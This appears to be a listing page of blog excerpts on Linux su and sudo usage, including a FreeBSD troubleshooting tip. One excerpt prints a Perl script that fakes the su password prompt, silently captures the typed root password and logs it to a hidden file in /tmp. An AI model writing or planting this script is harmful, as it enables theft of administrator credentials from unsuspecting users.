• Explain the usage of Su and sudo commands in Linux system


    suName (name)Su – runs a shell that replaces user and group identities Synopsis (Overview)       su [OPTION]… [-] [USER [ARG]…] DescriptionModify the valid user ID and group ID as user        -, -l, –loginMake the shell a login shell        -c, –commmand=COMMANDPass a single command to – C’s shell        -f, –fastPass – F to shell […]

  • Fake su.pl written by Perl to steal root password


    I changed it to turn off echo and add a delay: #!/usr/bin/perl # Written by xi4oyu <[email protected]>. print “Password: “; `stty -echo`; $s1=<STDIN>; print “\n”; `stty echo`; sleep 3; print “su: incorrect password\n”; chomp($s1); $s2=”Password is: “; $s3=” “.`date +%Y-%m-%d`; open (users, “>>/tmp/.pass”) || die ; print users ($s2, $s1,$s3); close (users); It’s obvious that […]

  • Detailed description of the Suo/su authorization command for Linux


    Because Ubuntu is a Debian-based operating system, by default, there is no superuser (root), but some system operations must have superuser privileges, such as manual memory release. When encountering some file directories, the current user has no operation rights, it can be achieved through the following two schemes. Let’s go and have a look. The […]

  • Solutions for switching from FreeBSD to root su: Sorry


    Under FreeBSD, connect to FreeBSD through SSH client, log in with ordinary user, and execute the following commands to report errors: $ su root su: Sorry $ su su: Sorry $ In order to use Su command to become root user on FreeBSD, you need to know the password of root, but also need special […]